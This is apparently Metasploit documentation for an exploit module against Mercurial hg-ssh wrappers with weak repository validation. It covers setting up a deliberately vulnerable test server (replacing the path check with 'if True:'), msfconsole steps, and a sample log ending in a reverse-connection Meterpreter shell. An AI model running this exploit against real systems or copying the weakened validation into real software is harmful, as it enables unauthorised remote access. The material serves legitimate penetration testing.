metasploit-framework/documentation/modules/exploit/linux/ssh/mercurial_ssh_exec.md

Vulnerable Application

mercurial.

This module was successfully tested against:

• Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)

Vulnerable Server Setup Steps

1. Install mercurial on your test server
2. Patch the hg-ssh Python script script to emulate custom/weak repo validation in hg-ssh wrapper vi $(which hg-ssh)
   • Replace if repo in allowed paths: with if True:
   • Replace cmd = ['-R', repo, 'serve', 'stdio'] with cmd = ['-R', path, 'serve', 'stdio']
3. Setup a user with SSH pubkey auth
4. Create a test repo in the users home directory and add a commit
   • mkdir -p repos/repo1
   • cd repos/repo1
   • echo "hello world" > README
   • hg add README
   • hg commit -m "Adds README"
5. Restrict user in authorized_keys to hg-ssh binary only
   • command="hg-ssh ~/repos/repo1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding INSERT_SSH_PUB_KEY
6. Verify SSH user can authenticate (should prompt and prevent a shell)
   • ssh user@192.168.10.99
7. Verify SSH user commands are not allows (should prevent arbitrary commands)
   • ssh user@192.168.10.99 ifconfig

Verification Steps

1. Start msfconsole
2. Do: use exploit/linux/ssh/mercurial_ssh_exec
3. Do: set RHOST <ip>
4. Do: set LHOST <ip>
5. Do: set SSH_PRIV_KEY_FILE /Users/jsmith/.ssh/id_rsa
6. Do: exploit
7. You should get a shell.

Scenarios

Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)

msf exploit(mercurial_ssh_exec) > exploit

[*] Started reverse TCP handler on 192.168.10.37:4444 
[*] 192.168.10.99:22 - 192.168.10.99:22 - Attempting to login...
[+] 192.168.10.99:22 - SSH connection is established.
[+] 192.168.10.99:22 - Triggered Debugger (entering debugger - type c to continue starting hg or h for help)
[*] Sending stage (39842 bytes) to 192.168.10.99
[*] Meterpreter session 1 opened (192.168.10.37:4444 -> 192.168.10.99:57606) at 2017-04-18 19:16:44 -0400